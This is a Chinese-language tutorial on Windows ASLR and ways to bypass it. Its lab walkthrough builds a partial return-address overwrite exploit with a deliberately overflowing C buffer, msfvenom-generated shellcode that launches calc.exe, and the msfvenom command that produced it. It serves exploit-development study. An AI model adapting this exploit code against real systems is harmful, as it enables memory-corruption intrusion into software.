內存保護機制及繞過方法——通過覆蓋部分地址繞過ASLR


ASLR保護機制

ASLR簡介

微軟在Windows Vista、2008 server、Windows 7、Windows 8等系統的發布中, 開始將ASLR作為內置的系統保護機制運行, 將系統映像的基址設置到1/256的random slot上, 同時將各個線程的堆棧和堆進行隨機化。這需要程序和系統的雙重支持, 但是程序的支持並不是一定的。可以使用如下注冊表選項來使用或禁用 ASLR 之於所有的程序映像:

Edit HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ and add a new key called “ MoveImages” (DWORD)。

該鍵的可能取值如下:

0 :永遠不進行基於內存的映像基址隨機化, 基地址的選擇始終以可執行文件的PE頭部指定的基址為准;

-1 :隨機化所有的可以重定位的程序映像, 無論它們是否在PE頭部指定了IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE標記。

也可以在編寫程序時使用/dynamicbase鏈接器選項來確定編寫的程序是否使用該保護機制。微軟從Visual Studio 2005開始加入了/dynamicbase鏈接選項, 選擇該鏈接選項的程序會在生成的PE頭中設置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE標識來說明其支持ASLR。

實際分析中, 可以 使用 PE 工具查看 DllCharacteristics 域是否包含 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE(0× 40) , 或者使用ImmunityDebugger 的 !ASLRdynamicbase 命令, 查看當前調試會話中所有模塊的 ASLR使能狀態。

ASLR工作原理:

在Windows下, ASLR主要表現在三個方面:映像基址隨機化、堆棧基址隨機化和PEB/TEB隨機化。

1)映像基址隨機化

當可執行文件或動態鏈接庫文件被映射到內存時, 系統會對其虛擬地址進行隨機化。

由於主要是對各模塊載入內存的基地址進行隨機化處理, 所以叫映像基址隨機化。微軟Windows系列操作系統的內存隨機化使系統每次初始化過程中, 隨機分配各個模塊的基地址, 所以同一個模塊在系統重啟后, 其基地址是不同的。如下圖所示是系統重啟前后, Windbg加載同一個應用程序時顯示的各模塊基地址。可以看出, 系統重啟后, 各模塊的首地址是變化的。

 

2)堆棧基址隨機化

程序在啟動時, 系統會隨機選擇堆棧的基址, 從而導致內存中的各種變量地址發生變化。程序每次啟動后, 其所占用的堆棧地址可能完全不同。與映像基址隨機化在系統初始化的過程中隨機加載不同, 堆棧基址隨機化是在程序每次啟動時實施的。下圖所示是將同一個程序兩次載入Windbg后, 其所占用的堆棧地址。

 

3)PEB/TEB隨機化

進程環境塊(Process Environment Block, PEB)和線程環境塊(Thread Environment Block, TEB)隨機化在Windows XP時代就已經引入系統中, 但是發展到Windows 8系統, PEB/TEB的隨機化仍然做得不是很好。圖3所示是Win7下Windbg兩次加載同一進程所顯示的PEB/TEB地址。

 

ASLR繞過思路

i.攻擊未啟用ASLR的模塊:

在未啟用ASLR的模塊中,找到固定的指令地址轉入pyload執行。

ii.Off by one 思想:

因為映像基址隨機化只是對加載地址的前兩個字節進行了隨機化, 后面兩個字節根本沒有變化。而在內存中, 地址是以Little-Endian的方式存儲的, 所以理論上, 在一些情況下攻擊者可以利用返回地址的部分覆蓋來實施攻擊。以32位系統的ASLR繞過為例, 覆蓋EIP的高地址存儲位置的2個字節, 可以完成可行的跳轉。

iii.利用堆噴技術定位內存地址:

堆噴搶占內存之后,我們可以確定占領某一內存地址(例如0x0c0c0c0c0c)附近的內存,只要控制程序轉入0x0c0c0c0c執行,經過若干個0x90滑行就到達payload執行就可以。

iv.基於SharedUserData的方法

從Windows NT 4到Windows 8, 內存地址0x7ffe0000處都是SharedUserData結構。在其偏移0x300處總是指向KiFastSystemCall函數, 而這個函數是在ntdll.dll中。也就是說, 只要攻擊者有一次讀取內存的機會, 就能獲取ntdll的基址, 從而繞過ASLR保護。具體步驟如下:

1)讀取0x7ffe0300處的4字節數據, 即為KiFastSystemCall函數地址, 記為Address_K;

2)使用IDA或Depends, 查找KiFastSystemCall函數在ntdll中的偏移, 從而計算出ntdll基址;

3)通過相對偏移在ntdll中定位到所需要的指令地址, 從而繞過ASLR。

下圖是是32位Windows 7系統下KiFastSystemCall函數地址。

 

 

通過覆蓋部分地址繞過ASLR

⑴.  原理分析:

通過覆蓋部分地址繞過ASLR的思想,也就是上文繞過思路中提到的off by one思想。因為映像基址隨機化只是對加載地址的前兩個字節進行了隨機化, 后面兩個字節根本沒有變化。所以可以通過覆蓋后兩個字節,在0x0000—0xFFFF的地址空間內尋找跳板,控制EIP,轉入payload執行。

 

⑵.環境准備:

i.實驗代碼:

#include "stdafx.h"

#include "stdlib.h"

 

char shellcode[]=

"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"

"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"

"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"

"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"

"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"

"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"

"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"

"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"

"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"

"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"

"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x42\x14"

;

char * test()

{

     char tt[256];

     memcpy(tt,shellcode,262);

     return tt;   

}

int _tmain(int argc, _TCHAR* argv[])

{

     char temp[200];

     test();

     return 0;

}

 

                   ii.測試環境:

                   測試平台:Windows 7 32位

                   編譯器:visual 2008

                   編譯環境:

                   關閉\GS,DEP保護機制,開啟ASLR保護機制。

                  

⑶.調試分析:

i.緩沖區起始地址:保存在eax寄存器中

 

 

ii.返回地址

第一次運行:

                  

重啟后運行:

 

可以看到,前兩個字節(高地址)是不斷會變化的,但是后兩個字節(低地址位)是固定的。

所以我們可以通過覆蓋低地址位實現控制EIP。

⑷.攻擊過程:

i.確定跳板:

第一,   payload起始地址小於返回地址,所以不能使用jmp esp這類地址,觀察,寄存器eax保存有payload的起始地址,所以,我們只要在當前程序的指令空間里(因為能控制的只是當前程序隨機地址化后的兩個字節)找到jmp eax指令就可以控制EIP,跳入payload了。

第二,   在程序指令空間查找jmp esp

還是用之前用過的OllyFindAddr插件(或者直接搜索指令也可以),得到結果。

 

這里,使用地址0xXXXX1442做為跳轉地址。

 ii.生成payload:

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

iii.構造shellcode:

綜上所述,shellcode結構如下:

 

iv.攻擊結果:

        

         成功。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM